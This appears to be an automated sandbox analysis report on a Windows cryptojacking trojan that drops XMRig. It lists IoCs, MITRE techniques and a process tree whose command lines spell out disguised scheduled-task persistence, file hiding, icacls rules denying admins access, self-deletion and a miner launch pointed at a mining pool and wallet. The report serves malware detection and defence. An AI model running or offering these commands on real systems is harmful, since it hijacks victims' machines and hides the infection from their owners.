xmrig | cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427

Resubmissions

28-02-2021 15:01

210228-5dd8sx9g26 10

28-02-2021 07:28

210228-xfflmbv19n 10

Analysis

max time kernel
1623s
max time network
1777s
platform
windows7_x64
resource
win7v20201028
submitted
28-02-2021 15:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
Size

6.2MB
MD5

bd64d2e0d11093bbd84be2b6ca1c113d
SHA1

8fae8984391bd9dddb7afc0ebdd87a05954a7134
SHA256

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427
SHA512

b2ebe1a566c9a22fa34795b5906721242a005b69cb1301ef6817ce31c45b9ca9da0e9b85c2973fe27a5910077c909469c91bf8a32bc8d370fdd84ce00415e3ad

Score

10^/10

xmrig discovery evasion miner spyware themida trojan

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

XMRig Miner Payload 8 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1.exe	xmrig
\Users\Admin\AppData\Local\Temp\1.exe	xmrig
C:\Users\Admin\AppData\Local\Temp\1.exe	xmrig
\Users\Admin\AppData\Roaming\1337\1.exe	xmrig
C:\Users\Admin\AppData\Roaming\1337\1.exe	xmrig
C:\Users\Admin\AppData\Roaming\1337\1.exe	xmrig
behavioral5/memory/460-90-0x000000013FA20000-0x0000000140147000-memory.dmp	xmrig
behavioral5/memory/2732-385-0x000000013FA20000-0x0000000140147000-memory.dmp	xmrig

Executes dropped EXE 34 IoCs

Processes:

lxxxxxx.exe1.exeFile.exe1.exe@asasinalex.exe@asasinalex.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exe

pid	process
1988	lxxxxxx.exe
1444	1.exe
1544	File.exe
848	1.exe
804	@asasinalex.exe
1964	@asasinalex.exe
936	SecurityHealthTray.exe
460	SecurityHealthTray.exe
1948	SecurityHealthTray.exe
1500	SecurityHealthTray.exe
2136	SecurityHealthTray.exe
2676	SecurityHealthTray.exe
2732	SecurityHealthTray.exe
2852	SecurityHealthTray.exe
2444	SecurityHealthTray.exe
1416	SecurityHealthTray.exe
2344	SecurityHealthTray.exe
2388	SecurityHealthTray.exe
1532	SecurityHealthTray.exe
1444	SecurityHealthTray.exe
1640	SecurityHealthTray.exe
1752	SecurityHealthTray.exe
2196	SecurityHealthTray.exe
2788	SecurityHealthTray.exe
1892	SecurityHealthTray.exe
2164	SecurityHealthTray.exe
2544	SecurityHealthTray.exe
2524	SecurityHealthTray.exe
3068	SecurityHealthTray.exe
1348	SecurityHealthTray.exe
2948	SecurityHealthTray.exe
2212	SecurityHealthTray.exe
2876	SecurityHealthTray.exe
2800	SecurityHealthTray.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

Loads dropped DLL 7 IoCs

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exeFile.exetaskeng.exe

pid	process
1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
1544	File.exe
1544	File.exe
1544	File.exe
944	taskeng.exe

Modifies file permissions 1 TTPs 6 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1660 icacls.exe
1832 icacls.exe
1488 icacls.exe
1416 icacls.exe
1528 icacls.exe
556 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1660	icacls.exe
1832	icacls.exe
1488	icacls.exe
1416	icacls.exe
1528	icacls.exe
556	icacls.exe

themida 1 IoCs

Detects Themida, Advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral5/memory/1964-3-0x00000000008A0000-0x000000000155C000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 api.ipify.org
4 api.ipify.org
7 ip-api.com
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

pid process

1964 cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
Drops file in Program Files directory 1 IoCs

Processes:

chrome.exe

description ioc process

File opened for modification C:\Program Files\Google\Chrome\Application\debug.log chrome.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	ioc
3	api.ipify.org
4	api.ipify.org
7	ip-api.com

description	ioc	process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe

NSIS installer 6 IoCs

installer

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_1
\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_2

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1784	schtasks.exe
272	schtasks.exe
1640	schtasks.exe
1096	schtasks.exe
332	schtasks.exe
1376	schtasks.exe
1940	schtasks.exe
1648	schtasks.exe
1320	schtasks.exe
1468	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

lxxxxxx.exe@asasinalex.exe@asasinalex.exeSecurityHealthTray.exeSecurityHealthTray.exe

pid	process
1988	lxxxxxx.exe
804	@asasinalex.exe
804	@asasinalex.exe
1964	@asasinalex.exe
936	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe
460	SecurityHealthTray.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

SecurityHealthTray.exe

pid process

2732 SecurityHealthTray.exe

pid	process
2732	SecurityHealthTray.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

@asasinalex.exelxxxxxx.exe@asasinalex.exeSecurityHealthTray.exeSecurityHealthTray.exe

description	pid	process
Token: SeDebugPrivilege	804	@asasinalex.exe
Token: SeDebugPrivilege	1988	lxxxxxx.exe
Token: SeDebugPrivilege	1964	@asasinalex.exe
Token: SeLockMemoryPrivilege	460	SecurityHealthTray.exe
Token: SeLockMemoryPrivilege	460	SecurityHealthTray.exe
Token: SeLockMemoryPrivilege	2732	SecurityHealthTray.exe
Token: SeLockMemoryPrivilege	2732	SecurityHealthTray.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

chrome.exe

pid process

1840 chrome.exe
1840 chrome.exe
1840 chrome.exe

pid	process
1840	chrome.exe
1840	chrome.exe
1840	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe1.execmd.execmd.exeFile.exe1.execmd.exe

description	pid	process	target process
PID 1964 wrote to memory of 1988	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	lxxxxxx.exe
PID 1964 wrote to memory of 1988	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	lxxxxxx.exe
PID 1964 wrote to memory of 1988	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	lxxxxxx.exe
PID 1964 wrote to memory of 1988	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	lxxxxxx.exe
PID 1964 wrote to memory of 1444	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	1.exe
PID 1964 wrote to memory of 1444	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	1.exe
PID 1964 wrote to memory of 1444	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	1.exe
PID 1964 wrote to memory of 1444	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	1.exe
PID 1964 wrote to memory of 1544	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	File.exe
PID 1964 wrote to memory of 1544	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	File.exe
PID 1964 wrote to memory of 1544	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	File.exe
PID 1964 wrote to memory of 1544	1964	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	File.exe
PID 1444 wrote to memory of 1784	1444	1.exe	schtasks.exe
PID 1444 wrote to memory of 1784	1444	1.exe	schtasks.exe
PID 1444 wrote to memory of 1784	1444	1.exe	schtasks.exe
PID 1444 wrote to memory of 1768	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 1768	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 1768	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 1588	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 1588	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 1588	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 652	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 652	1444	1.exe	cmd.exe
PID 1444 wrote to memory of 652	1444	1.exe	cmd.exe
PID 1768 wrote to memory of 604	1768	cmd.exe	attrib.exe
PID 1768 wrote to memory of 604	1768	cmd.exe	attrib.exe
PID 1768 wrote to memory of 604	1768	cmd.exe	attrib.exe
PID 652 wrote to memory of 1832	652	cmd.exe	icacls.exe
PID 652 wrote to memory of 1832	652	cmd.exe	icacls.exe
PID 652 wrote to memory of 1832	652	cmd.exe	icacls.exe
PID 1768 wrote to memory of 1656	1768	cmd.exe	attrib.exe
PID 1768 wrote to memory of 1656	1768	cmd.exe	attrib.exe
PID 1768 wrote to memory of 1656	1768	cmd.exe	attrib.exe
PID 652 wrote to memory of 1660	652	cmd.exe	icacls.exe
PID 652 wrote to memory of 1660	652	cmd.exe	icacls.exe
PID 652 wrote to memory of 1660	652	cmd.exe	icacls.exe
PID 1768 wrote to memory of 1664	1768	cmd.exe	attrib.exe
PID 1768 wrote to memory of 1664	1768	cmd.exe	attrib.exe
PID 1768 wrote to memory of 1664	1768	cmd.exe	attrib.exe
PID 1544 wrote to memory of 848	1544	File.exe	1.exe
PID 1544 wrote to memory of 848	1544	File.exe	1.exe
PID 1544 wrote to memory of 848	1544	File.exe	1.exe
PID 1544 wrote to memory of 848	1544	File.exe	1.exe
PID 652 wrote to memory of 556	652	cmd.exe	icacls.exe
PID 652 wrote to memory of 556	652	cmd.exe	icacls.exe
PID 652 wrote to memory of 556	652	cmd.exe	icacls.exe
PID 1544 wrote to memory of 804	1544	File.exe	@asasinalex.exe
PID 1544 wrote to memory of 804	1544	File.exe	@asasinalex.exe
PID 1544 wrote to memory of 804	1544	File.exe	@asasinalex.exe
PID 1544 wrote to memory of 804	1544	File.exe	@asasinalex.exe
PID 848 wrote to memory of 332	848	1.exe	schtasks.exe
PID 848 wrote to memory of 332	848	1.exe	schtasks.exe
PID 848 wrote to memory of 332	848	1.exe	schtasks.exe
PID 848 wrote to memory of 872	848	1.exe	cmd.exe
PID 848 wrote to memory of 872	848	1.exe	cmd.exe
PID 848 wrote to memory of 872	848	1.exe	cmd.exe
PID 848 wrote to memory of 824	848	1.exe	cmd.exe
PID 848 wrote to memory of 824	848	1.exe	cmd.exe
PID 848 wrote to memory of 824	848	1.exe	cmd.exe
PID 848 wrote to memory of 1572	848	1.exe	cmd.exe
PID 848 wrote to memory of 1572	848	1.exe	cmd.exe
PID 848 wrote to memory of 1572	848	1.exe	cmd.exe
PID 872 wrote to memory of 1696	872	cmd.exe	attrib.exe
PID 872 wrote to memory of 1696	872	cmd.exe	attrib.exe

Views/modifies file attributes 1 TTPs 6 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

604 attrib.exe
1656 attrib.exe
1664 attrib.exe
1696 attrib.exe
1976 attrib.exe
1480 attrib.exe

pid	process
604	attrib.exe
1656	attrib.exe
1664	attrib.exe
1696	attrib.exe
1976	attrib.exe
1480	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
"C:\Users\Admin\AppData\Local\Temp\cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe"
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Users\Admin\AppData\Local\Temp\lxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\lxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\PerfLogs\Admin\WMIADAP.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1376
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "spoolsv" /sc ONLOGON /tr "'C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\spoolsv.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1940
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "lxxxxxx" /sc ONLOGON /tr "'C:\Users\Admin\Local Settings\lxxxxxx.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:272
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\ProgramData\Favorites\WMIADAP.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1640
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "System" /sc ONLOGON /tr "'C:\ProgramData\Documents\System.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1648
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\9f428062-1991-11eb-b2ba-ee401b9e63cb\csrss.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1320
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "@asasinalex" /sc ONLOGON /tr "'C:\Documents and Settings\@asasinalex.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1468
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "@asasinalex" /sc ONLOGON /tr "'C:\Documents and Settings\@asasinalex.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1096
- - C:\Documents and Settings\@asasinalex.exe
    "C:\Documents and Settings\@asasinalex.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- C:\Users\Admin\AppData\Local\Temp\1.exe
  "C:\Users\Admin\AppData\Local\Temp\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN Windows\x86_microsoft-windows-fsrm-common_31bf3256ad364e35_10.0.18372.1_none_3fed101f25aae892\MicrosoftSecurityEssentials /XML "C:\ProgramData\SecurityEssentials\task.xml"
    3⤵
    - Creates scheduled task(s)
    PID:1784
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials" & ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"& ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Windows\system32\attrib.exe
      ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials"
      4⤵
      Views/modifies file attributes
      PID:604
  - - C:\Windows\system32\attrib.exe
      ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"
      4⤵
      Views/modifies file attributes
      PID:1656
  - - C:\Windows\system32\attrib.exe
      ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
      4⤵
      Views/modifies file attributes
      PID:1664
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c DEL /F /Q C:\ProgramData\SecurityEssentials\task.xml
    3⤵
    PID:1588
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
      4⤵
      Modifies file permissions
      PID:556
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
      4⤵
      Modifies file permissions
      PID:1660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
      4⤵
      Modifies file permissions
      PID:1832
- C:\Users\Admin\AppData\Local\Temp\File.exe
  "C:\Users\Admin\AppData\Local\Temp\File.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Users\Admin\AppData\Roaming\1337\1.exe
    "C:\Users\Admin\AppData\Roaming\1337\1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:848
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN Windows\x86_microsoft-windows-fsrm-common_31bf3256ad364e35_10.0.18372.1_none_3fed101f25aae892\MicrosoftSecurityEssentials /XML "C:\ProgramData\SecurityEssentials\task.xml"
      4⤵
      Creates scheduled task(s)
      PID:332
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials" & ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"& ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:872
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials"
        5⤵
        Views/modifies file attributes
        
        PID:1696
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
        5⤵
        Views/modifies file attributes
        
        PID:1976
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1480
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c DEL /F /Q C:\ProgramData\SecurityEssentials\task.xml
      4⤵
      PID:824
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
      4⤵
      PID:1572
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
        5⤵
        Modifies file permissions
        
        PID:1488
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
        5⤵
        Modifies file permissions
        
        PID:1416
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
        5⤵
        Modifies file permissions
        
        PID:1528
- - C:\Users\Admin\AppData\Roaming\1337\@asasinalex.exe
    "C:\Users\Admin\AppData\Roaming\1337\@asasinalex.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "@asasinalex.exe"
      4⤵
      PID:1896
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:1688

C:\Windows\system32\taskeng.exe
taskeng.exe {4BA6ADCE-CF9E-4BFE-9E43-09E7469F07C4} S-1-5-21-3825035466-2522850611-591511364-1000:EIDQHRRL\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
PID:944
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:936
- - C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
    "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe" --max-cpu-usage=10 -o pool.supportxmr.com:3333 -u 41xymULmr9LRENCpbQbVtT37sg4GZWnwfTGfy8cdmLz9GPLs2zxvi4NDN1pCKuCu7ycHHHhphxpu7g4tv4BMZUgL1edwe2A -p x --rig-id={eededefe}
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:460
  - - C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
      "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe" --max-cpu-usage=50 -o pool.supportxmr.com:3333 -u 41xymULmr9LRENCpbQbVtT37sg4GZWnwfTGfy8cdmLz9GPLs2zxvi4NDN1pCKuCu7ycHHHhphxpu7g4tv4BMZUgL1edwe2A -p x --rig-id={eededefe}
      4⤵
      Executes dropped EXE
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      PID:2732
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1500
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2136
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1416
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2344
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1444
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1640
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  2⤵
  - Executes dropped EXE
  PID:1892
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
